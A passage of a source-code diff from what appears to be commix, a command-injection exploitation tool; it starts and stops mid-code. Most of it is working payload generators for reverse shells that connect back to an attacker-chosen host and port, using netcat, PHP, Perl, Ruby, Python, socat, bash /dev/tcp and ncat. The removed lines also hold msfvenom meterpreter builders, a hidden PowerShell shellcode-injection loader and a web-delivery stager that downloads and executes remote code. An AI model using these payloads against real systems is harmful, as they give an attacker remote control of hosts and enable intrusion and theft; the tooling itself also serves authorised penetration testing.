settings.print_data_to_stdout(info_msg) + else: + common.invalid_option(option) + return None + +""" +Handle a "set ..." command. +""" +def _handle_set(mode, option, selected_module): + argument = option[4:] + keyword, separator, value = argument.partition(settings.SINGLE_WHITESPACE) + keyword = keyword.lower() + + if keyword == "payload": + return _select_payload(mode, value.strip(), option) or selected_module + + if keyword == mode.unsupported[0] and separator: + settings.print_data_to_stdout(settings.print_error_msg(mode.unsupported_msg())) + return selected_module + + for name, check in mode.set_options: + if keyword == name and separator: + check(value) + return selected_module + + common.invalid_option(option) + mistyped = argument.strip() + if mistyped in mode.modules: + settings.print_data_to_stdout("Did you mean 'set payload " + mistyped + "'? (options stay set when you switch payloads)") + else: + settings.print_data_to_stdout(mode.usage_hint) + return selected_module + +""" +Handle a "use ..." command; returns the mode to switch to, or None to stay. +""" +def _handle_use(mode, option): + target = option[3:].strip().lower() + + if target == mode.name: + warn_msg = "You are in '" + target + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif target == "os_shell": + setattr(settings, mode.flag, False) + return "os_shell" + elif target == mode.other: + setattr(settings, MODE_FLAGS[mode.other][0], True) + setattr(settings, mode.flag, False) + return mode.other + else: + common.invalid_option(option) + settings.print_data_to_stdout("Use 'use os_shell' or 'use " + mode.other + "' to switch modes.") + return None + +""" +Generate the selected payload, once every required option is set. +""" +def _handle_run(mode, selected_module, separator): + if selected_module is None: + err_msg = "No payload selected. Use 'set payload <payload>' first." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return None + + if any(len(getattr(settings, attribute)) == 0 for attribute in mode.required): + settings.print_data_to_stdout(settings.print_error_msg(mode.required_hint)) + return None + + result = mode.build(selected_module, separator) + if result is None: + return None + + if settings.EVAL_BASED_STATE != False: + result = checks.escape_unquoted_dollars(result) + + settings.LAST_SELECTED_MODULE = selected_module + checks.shell_success(mode.name.split("_")[0]) + return result + +""" +Run the mode's interactive prompt, returning either the generated payload or the mode to switch to. +""" +def shell_mode_options(mode, separator, filename, url): + selected_module = settings.LAST_SELECTED_MODULE if settings.LAST_SELECTED_MODULE in mode.modules else None + _announce(mode, selected_module) + + while True: + prompt_name = mode.name if selected_module is None else mode.qualified(selected_module) + try: + option = common.safe_input("commix(" + prompt_name + ") > ") + except KeyboardInterrupt: + checks.handle_exploitation_interrupt(filename, url) + continue + lowered = option.lower() + + if lowered == "?": + mode.help_menu() + + elif lowered == "quit" or lowered == "exit": + checks.quit(filename, url, hard_exit=True) + + # "back" deselects the current payload first; a second "back" leaves the mode. + elif lowered == "back": + if selected_module is not None: + selected_module = None + settings.LAST_SELECTED_MODULE = "" + continue + setattr(settings, mode.flag, False) + return option + + elif lowered in MODE_NAMES: + err_msg = "Type 'use " + lowered + "' to switch to that mode." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + + elif lowered == "use" or lowered[0:4] == "use ": + switch_to = _handle_use(mode, option) + if switch_to: + return switch_to + + elif lowered in ("show options", "show"): + menu.print_options_table("Options (" + mode.name + ")", mode.option_rows()) + + elif lowered == "run": + result = _handle_run(mode, selected_module, separator) + if result is not None: + return result + + elif lowered == "set" or lowered[0:4] == "set ": + selected_module = _handle_set(mode, option, selected_module) + + else: + common.invalid_option(option) + +# eof diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 6dece4873a..3441eb9491 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -14,870 +14,360 @@ """ import os -import re -import sys -import time -import base64 import random import string -import functools import subprocess from src.utils import common from src.utils import menu -from src.utils import update from src.utils import settings from src.core.compat import xrange from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib +from src.core.shells import modes from src.thirdparty.colorama import Fore, Back, Style, init """ -Set up the netcat reverse TCP connection +Use %XX only where the target performs one URL-decode pass; use literals for header-based injection points. """ -def netcat_version(separator): - # Defined shell. - shell = "sh" - - # Netcat alternatives. - NETCAT_ALTERNATIVES = ( - "nc", - "busybox nc", - "nc.traditional", - "nc.openbsd", - ) - - # Available netcat reverse TCP shell options. - NETCAT_OPTIONS = ( - ("1", "use the default Netcat on target host"), - ("2", "use Netcat for Busybox on target host"), - ("3", "use Netcat-Traditional on target host"), - ("4", "use Netcat-Openbsd on target host"), - ) - - message = ( - Style.BRIGHT - + "Available netcat reverse TCP shell options:" - + Style.RESET_ALL - + "\n" +def _needs_literal_encoding(): + return ( + settings.COOKIE_INJECTION + or settings.USER_AGENT_INJECTION + or settings.REFERER_INJECTION + or settings.HOST_INJECTION + or settings.CUSTOM_HEADER_INJECTION ) - for option, description in NETCAT_OPTIONS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' to " - + description - + ".\n" - ) - - settings.print_data_to_stdout(message.rstrip()) - - while True: - nc_version = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "reverse_tcp_netcat" - + Style.RESET_ALL - + ") > " - ) - - # Default Netcat. - if nc_version == '1': - nc_alternative = NETCAT_ALTERNATIVES[0] - break - - # Netcat for Busybox. - elif nc_version == '2': - nc_alternative = NETCAT_ALTERNATIVES[1] - break - - # Netcat-Traditional. - elif nc_version == '3': - nc_alternative = NETCAT_ALTERNATIVES[2] - break - - # Netcat-Openbsd (nc without -e). - elif nc_version == '4': - nc_alternative = NETCAT_ALTERNATIVES[3] - break - - # Check for available shell options. - elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(nc_version): - return checks.shell_options(nc_version) - - # Invalid option. - else: - common.invalid_option(nc_version) - continue +def _lit(encoded, literal): + return literal if _needs_literal_encoding() else encoded +""" +Netcat reverse TCP shell - one generator, parameterized by which netcat binary to target. +""" +def _netcat_reverse_shell(nc_alternative, use_dash_e=True): + shell = "sh" nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) - # Netcat with -e. - if nc_version != '4': - cmd = ( + # Netcat with -e - options go before the host/port, netcat-traditional ignores them after it. + if use_dash_e: + return ( nc_alternative - + settings.SINGLE_WHITESPACE - + settings.LHOST - + settings.SINGLE_WHITESPACE - + settings.LPORT + " -e " + shell - ) - - # nc without -e. - else: - cmd = ( - shell - + " -c \"" - + shell - + " 0</tmp/f | " - + nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT - + " 1>/tmp/f\"" ) - return cmd + tmp_fifo = checks.random_tmp_path() + + return ( + shell + + " -c \"rm -f " + tmp_fifo + ";mkfifo " + tmp_fifo + ";" + + shell + + " 0<" + tmp_fifo + " | " + + nc_alternative + + settings.SINGLE_WHITESPACE + + settings.LHOST + + settings.SINGLE_WHITESPACE + + settings.LPORT + + " 1>" + tmp_fifo + "\"" + ) """ -Use %XX only where the target performs one URL-decode pass; use literals for header-based injection points. +PHP reverse TCP shell. """ -def _needs_literal_encoding(): +def gen_php_reverse(): return ( - settings.COOKIE_INJECTION - or settings.USER_AGENT_INJECTION - or settings.REFERER_INJECTION - or settings.HOST_INJECTION - or settings.CUSTOM_HEADER_INJECTION + "php -r '$s=fsockopen(\"" + + settings.LHOST + + "\"," + + settings.LPORT + + ");" + "while(($c=fgets($s))!==false){$c=rtrim($c);if(strpos($c,\"cd \")===0){chdir(substr($c,3));continue;}fwrite($s,shell_exec($c));}'" ) -def _lit(encoded, literal): - return literal if _needs_literal_encoding() else encoded - """ -Set up other [1] reverse tcp shell connections -[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet -""" -def other_reverse_shells(separator): - # Generic reverse shell options. - GENERIC_REVERSE_SHELL_OPTIONS = ( - ("1", "use a PHP reverse TCP shell"), - ("2", "use a Perl reverse TCP shell"), - ("3", "use a Ruby reverse TCP shell"), - ("4", "use a Python reverse TCP shell"), - ("5", "use a Socat reverse TCP shell"), - ("6", "use a Bash reverse TCP shell"), - ("7", "use a Ncat reverse TCP shell"), - ("8", "use a Python reverse TCP shell (windows)"), +Perl reverse TCP shell. +""" +def gen_perl_reverse(): + # Relays in Perl itself - exec()ing "sh -i" on a raw socket gives no working shell. + return ( + "perl -e 'use Socket;" + "$i=\"" + + settings.LHOST + + "\";" + "$p=" + + settings.LPORT + + ";" + "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" + "connect(S,sockaddr_in($p,inet_aton($i)));" + "select(S);$|=1;" + # chdir() persists for the process, and qx() inherits it - so "cd" carries to the next command. + "while(<S>){chomp;if(/^cd\\s+(.+)/){chdir($1);next;}print S qx($_);}'" ) - # Meterpreter reverse shell options. - METERPRETER_REVERSE_SHELL_OPTIONS = ( - ("9", "use a PHP meterpreter reverse TCP shell"), - ("10", "use a Python meterpreter reverse TCP shell"), - ("11", "use a meterpreter reverse TCP shell (windows)"), - ("12", "use the web delivery script"), +""" +Ruby reverse TCP shell. +""" +def gen_ruby_reverse(): + return ( + "ruby -rsocket -e '" + "c=TCPSocket.new(\"" + + settings.LHOST + + "\"," + + settings.LPORT + + ");" + "$stdin.reopen(c);" + "$stdout.reopen(c);" + "$stderr.reopen(c);" + "$stdin.each_line{|l|l=l.strip;" + "next if l.length==0;" + "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" ) - message = ( - Style.BRIGHT - + "Available generic reverse TCP shell options:" - + Style.RESET_ALL - + "\n" +""" +Python reverse TCP shell. +""" +def gen_python_reverse(): + if not settings.USER_DEFINED_PYTHON_INTERPRETER: + checks.set_python_interpreter() + + return ( + settings.LINUX_PYTHON_INTERPRETER + + " -c 'import socket,os,pty%0d" + "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" + "s.connect((\"" + + settings.LHOST + + "\"," + + settings.LPORT + + "))%0d" + "os.dup2(s.fileno(),0)%0d" + "os.dup2(s.fileno(),1)%0d" + "os.dup2(s.fileno(),2)%0d" + "pty.spawn(\"/bin/sh\")%0d'" ) - for option, description in GENERIC_REVERSE_SHELL_OPTIONS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' to " - + description - + ".\n" - ) +""" +Socat reverse TCP shell. +""" +def gen_socat_reverse(): + return ( + "socat tcp-connect:" + + settings.LHOST + + ":" + + settings.LPORT + + " exec:\"sh\",pty,stderr,setsid,sigint,sane" + ) - message += ( - Style.BRIGHT - + "Available meterpreter reverse TCP shell options:" - + Style.RESET_ALL - + "\n" +""" +Bash reverse TCP shell - writes the payload to a temp file, then executes it, +chained with the target's own confirmed separator (needs a real one - see the +plumbing in shell_options.py/handler.py that supplies it instead of ""). +""" +def gen_bash_reverse(separator): + tmp_file = ''.join( + [ + random.choice(string.ascii_letters + string.digits) + for n in xrange(5) + ] ) - for option, description in METERPRETER_REVERSE_SHELL_OPTIONS: - message += ( - settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + option - + Style.RESET_ALL - + "' to " - + description - + ".\n" - ) + return ( + "echo \"/bin/sh 0>/dev/tcp/" + + settings.LHOST + + "/" + + settings.LPORT + + " 1>" + _lit("%26", "&") + "0 2>" + _lit("%26", "&") + "0\" > /tmp/" + + tmp_file + + settings.SINGLE_WHITESPACE + + separator + + " /bin/bash /tmp/" + + tmp_file + ) - settings.print_data_to_stdout(message.rstrip()) +""" +Ncat reverse TCP shell. +""" +def gen_ncat_reverse(): + return ( + "ncat -e /bin/sh " + + settings.LHOST + + settings.SINGLE_WHITESPACE + + settings.LPORT + ) - while True: - other_shell = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "reverse_tcp_other" - + Style.RESET_ALL - + ") > " - ) +""" +PHP meterpreter reverse TCP shell (via msfvenom). +""" +def gen_php_meterpreter_reverse(): + if checks.metasploit_missing(): + return None + + payload = "php/meterpreter/reverse_tcp" + output = "php_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "LHOST", settings.LHOST, " -e php/base64", strip_newlines=True) + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: + checks.set_php_working_dir() + other_shell = settings.WIN_PHP_DIR + " -r " + data + else: + other_shell = "php -r \"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None - # PHP-reverse-shell - if other_shell == '1': - other_shell = ( - "php -r '$sock=fsockopen(\"" - + settings.LHOST - + "\"," - + settings.LPORT - + ");" - "$proc=proc_open(\"/bin/sh -i\",array(0" + _lit("%3d", "=") + ">$sock,1" + _lit("%3d", "=") + ">$sock,2" + _lit("%3d", "=") + ">$sock),$pipes);'" - ) - break - - # Perl-reverse-shell - elif other_shell == '2': - other_shell = ( - "perl -e 'use Socket;" - "$i=\"" - + settings.LHOST - + "\";" - "$p=" - + settings.LPORT - + ";" - "socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));" - "if(connect(S,sockaddr_in($p,inet_aton($i)))){" - "open(STDIN,\">" + _lit("%26", "&") + "S\");" - "open(STDOUT,\">" + _lit("%26", "&") + "S\");" - "open(STDERR,\">" + _lit("%26", "&") + "S\");" - "exec(\"/bin/sh -i\");};'" - ) - break - - # Ruby-reverse-shell - elif other_shell == '3': - other_shell = ( - "ruby -rsocket -e '" - "c=TCPSocket.new(\"" - + settings.LHOST - + "\"," - + settings.LPORT - + ");" - "$stdin.reopen(c);" - "$stdout.reopen(c);" - "$stderr.reopen(c);" - "$stdin.each_line{|l|l=l.strip;" - "next if l.length==0;" - "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" - ) - break - - # Python-reverse-shell - elif other_shell == '4': +""" +Python meterpreter reverse TCP shell (via msfvenom). +""" +def gen_python_meterpreter_reverse(): + if checks.metasploit_missing(): + return None + + payload = "python/meterpreter/reverse_tcp" + output = "py_meterpreter.rc" + info_msg = "Generating the '" + payload + "' payload. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + try: + data = checks.generate_msf_payload(payload, output, "LHOST", settings.LHOST, "", strip_newlines=False) + if settings.TARGET_OS == settings.OS.WINDOWS: + if not settings.USER_DEFINED_PYTHON_DIR: + checks.set_python_working_dir() + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: checks.set_python_interpreter() + other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + checks.msf_launch_msg(output) + return other_shell + except: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + return None - other_shell = ( - settings.LINUX_PYTHON_INTERPRETER - + " -c 'import socket,subprocess,os%0d" - "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)%0d" - "s.connect((\"" - + settings.LHOST - + "\"," - + settings.LPORT - + "))%0d" - "os.dup2(s.fileno(),0)%0d" - "os.dup2(s.fileno(),1)%0d" - "os.dup2(s.fileno(),2)%0d" - "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" - ) - break - - # Socat-reverse-shell - elif other_shell == '5': - other_shell = ( - "socat tcp-connect:" - + settings.LHOST - + ":" - + settings.LPORT - + " exec:\"sh\",pty,stderr,setsid,sigint,sane" - ) - break - - # Bash-reverse-shell - elif other_shell == '6': - tmp_file = ''.join( - [ - random.choice(string.ascii_letters + string.digits) - for n in xrange(5) - ] - ) - - other_shell = ( - "echo \"/bin/sh 0>/dev/tcp/" - + settings.LHOST - + "/" - + settings.LPORT - + " 1>" + _lit("%26", "&") + "0 2>" + _lit("%26", "&") + "0\" > /tmp/" - + tmp_file - + settings.SINGLE_WHITESPACE - + separator - + " /bin/bash /tmp/" - + tmp_file - ) - break - - # Ncat-reverse-shell - elif other_shell == '7': - other_shell = ( - "ncat " - + settings.LHOST - + settings.SINGLE_WHITESPACE - + settings.LPORT - + " -e /bin/sh" - ) - break - - # Windows Python-reverse-shell - elif other_shell == '8': - data = "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('" + settings.LHOST + "', " + settings.LPORT + ")), " \ - "[[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), " \ - " __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), " \ - " {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: " \ - " __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: " \ - " after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, " \ - " __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] " \ - "for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] " \ - "for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] " \ - "for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], " \ - " stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] " \ - "in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in " \ - "[(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] " \ - "if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] " \ - "for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: " \ - "[(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) " \ - "for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) " \ - "for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] " \ - "for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] " \ - "for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), " \ - "globals(), __import__('contextlib'))" - - if not settings.TARGET_OS == settings.OS.WINDOWS: - checks.windows_only_attack_vector() - continue - else: - if not settings.USER_DEFINED_PYTHON_DIR: - checks.set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - break - - # PHP-reverse-shell (meterpreter) - elif other_shell == '9': - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - continue - - payload = "php/meterpreter/reverse_tcp" - output = "php_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + - " -e php/base64 -o " + output + settings.NO_OUTPUT, shell=True).wait() - - with open(output, "r+") as content_file: - data = content_file.readlines() - data = ''.join(data).replace(settings.END_LINE.LF,settings.SINGLE_WHITESPACE) - - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Remove the ouput file. - os.remove(output) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) - - if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: - checks.set_php_working_dir() - other_shell = settings.WIN_PHP_DIR + " -r " + data - else: - other_shell = "php -r \"" + data + "\"" - checks.msf_launch_msg(output) - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - break - - # Python-reverse-shell (meterpreter) - elif other_shell == '10': - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - continue - - payload = "python/meterpreter/reverse_tcp" - output = "py_meterpreter.rc" - - info_msg = "Generating the '" + payload + "' payload. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + - " -o " + output + settings.NO_OUTPUT, shell=True).wait() - - with open(output, "r") as content_file: - data = content_file.readlines() - data = ''.join(data) - - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Remove the ouput file. - os.remove(output) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) - - if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: - checks.set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - else: - if not settings.USER_DEFINED_PYTHON_INTERPRETER: - checks.set_python_interpreter() - other_shell = settings.LINUX_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" - checks.msf_launch_msg(output) - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - break - - # Powershell injection attacks - elif other_shell == '11': - if not settings.TARGET_OS == settings.OS.WINDOWS: - checks.windows_only_attack_vector() - continue - else: - message = ( - Style.BRIGHT - + "Available powershell injection options:" - + Style.RESET_ALL - + "\n" - + settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + "1" - + Style.RESET_ALL - + "' to use shellcode injection with native x86 shellcode.\n" - + settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + "2" - + Style.RESET_ALL - + "' to use TrustedSec's Magic Unicorn." - ) - settings.print_data_to_stdout(message) - - while True: - windows_reverse_shell = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "windows_meterpreter_reverse_tcp" - + Style.RESET_ALL - + ") > " - ) - - if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(windows_reverse_shell): - return checks.shell_options(windows_reverse_shell) - elif windows_reverse_shell == '1': - output = "powershell_attack.rc" - elif windows_reverse_shell == '2': - output = "powershell_attack.txt" - else: - common.invalid_option(windows_reverse_shell) - continue - - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - continue - - payload = "windows/meterpreter/reverse_tcp" - - # Shellcode injection with native x86 shellcode - if windows_reverse_shell == '1': - checks.gen_payload_msg(payload) - try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + " LHOST=" + str(settings.LHOST) + " LPORT=" + str(settings.LPORT) + " -f c -o " + output + settings.NO_OUTPUT, shell=True).wait() - with open(output, 'r') as content_file: - repls = {';': '', ' ': '', '+': '', '"': '', settings.END_LINE.LF: '', 'buf=': '', '\\x': ',0x', 'unsignedcharbuf[]=': ''} - shellcode = functools.reduce(lambda a, kv: a.replace(*kv), iter(repls.items()), content_file.read()).rstrip()[1:] - # One line shellcode injection with native x86 shellcode - # Greetz to Dave Kennedy (@HackingDave) - powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) - other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')).decode() - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) - checks.msf_launch_msg(output) - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - break - - # TrustedSec's Magic Unicorn (3rd Party) - elif windows_reverse_shell == '2': - try: - current_path = os.getcwd() - try: - unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) - os.chdir(unicorn_path) - # Check for Unicorn version. - with open('unicorn.py') as unicorn_file: - for line in unicorn_file: - line = line.rstrip() - if "Magic Unicorn Attack Vector v" in line: - unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") - break - except: - unicorn_version = "" - update.check_unicorn_version(unicorn_version) - try: - if len(unicorn_version) == 0: - unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) - os.chdir(unicorn_path) - checks.gen_payload_msg(payload) - subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + settings.NO_OUTPUT, shell=True).wait() - with open(output, 'r') as content_file: - other_shell = content_file.read().replace(settings.END_LINE.LF, '') - other_shell = _urllib.parse.quote_plus(other_shell) - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Remove the ouput file - os.remove(output) - with open("unicorn.rc", 'w+') as filewrite: - filewrite.write("use exploit/multi/handler" + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) - checks.msf_launch_msg("unicorn.rc") - # Return to the current path. - os.chdir(current_path) - except: - continue - except: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - break - break - - # Web delivery script - elif other_shell == '12': - message = ( - Style.BRIGHT - + "Available web delivery script options:" - + Style.RESET_ALL - + "\n" - + settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + "1" - + Style.RESET_ALL - + "' to use Python meterpreter reverse TCP shell.\n" - + settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + "2" - + Style.RESET_ALL - + "' to use PHP meterpreter reverse TCP shell.\n" - + settings.SUB_CONTENT_SIGN_TYPE - + "Type '" - + Style.BRIGHT - + "3" - + Style.RESET_ALL - + "' to use meterpreter reverse TCP shell (windows)." - ) - settings.print_data_to_stdout(message) - - while True: - web_delivery = _input( - "commix(" - + Style.BRIGHT - + Fore.RED - + "web_delivery" - + Style.RESET_ALL - + ") > " - ) - - if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): - if checks.shell_options(web_delivery): - return checks.shell_options(web_delivery) - elif web_delivery == '1': - payload = "python/meterpreter/reverse_tcp" - elif web_delivery == '2': - payload = "php/meterpreter/reverse_tcp" - elif web_delivery == '3': - payload = "windows/meterpreter/reverse_tcp" - else: - common.invalid_option(web_delivery) - continue - - if not os.path.exists(settings.METASPLOIT_PATH): - error_msg = settings.METASPLOIT_ERROR_MSG - settings.print_data_to_stdout(settings.print_error_msg(error_msg)) - continue - - if 'payload' in locals(): - output = "web_delivery.rc" - with open(output, 'w+') as filewrite: - filewrite.write("use exploit/multi/script/web_delivery"+ settings.END_LINE.LF + - "set target " + str(int(web_delivery)-1) + settings.END_LINE.LF + - "set payload " + payload + settings.END_LINE.LF + - "set lhost " + str(settings.LHOST) + settings.END_LINE.LF + - "set lport " + str(settings.LPORT) + settings.END_LINE.LF + - "set srvport " + str(settings.SRVPORT) + settings.END_LINE.LF + - "set uripath " + settings.URIPATH + settings.END_LINE.LF + - "exploit" + settings.END_LINE.LF * 2) - - if web_delivery == '1': - data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" - if _needs_literal_encoding(): - data = 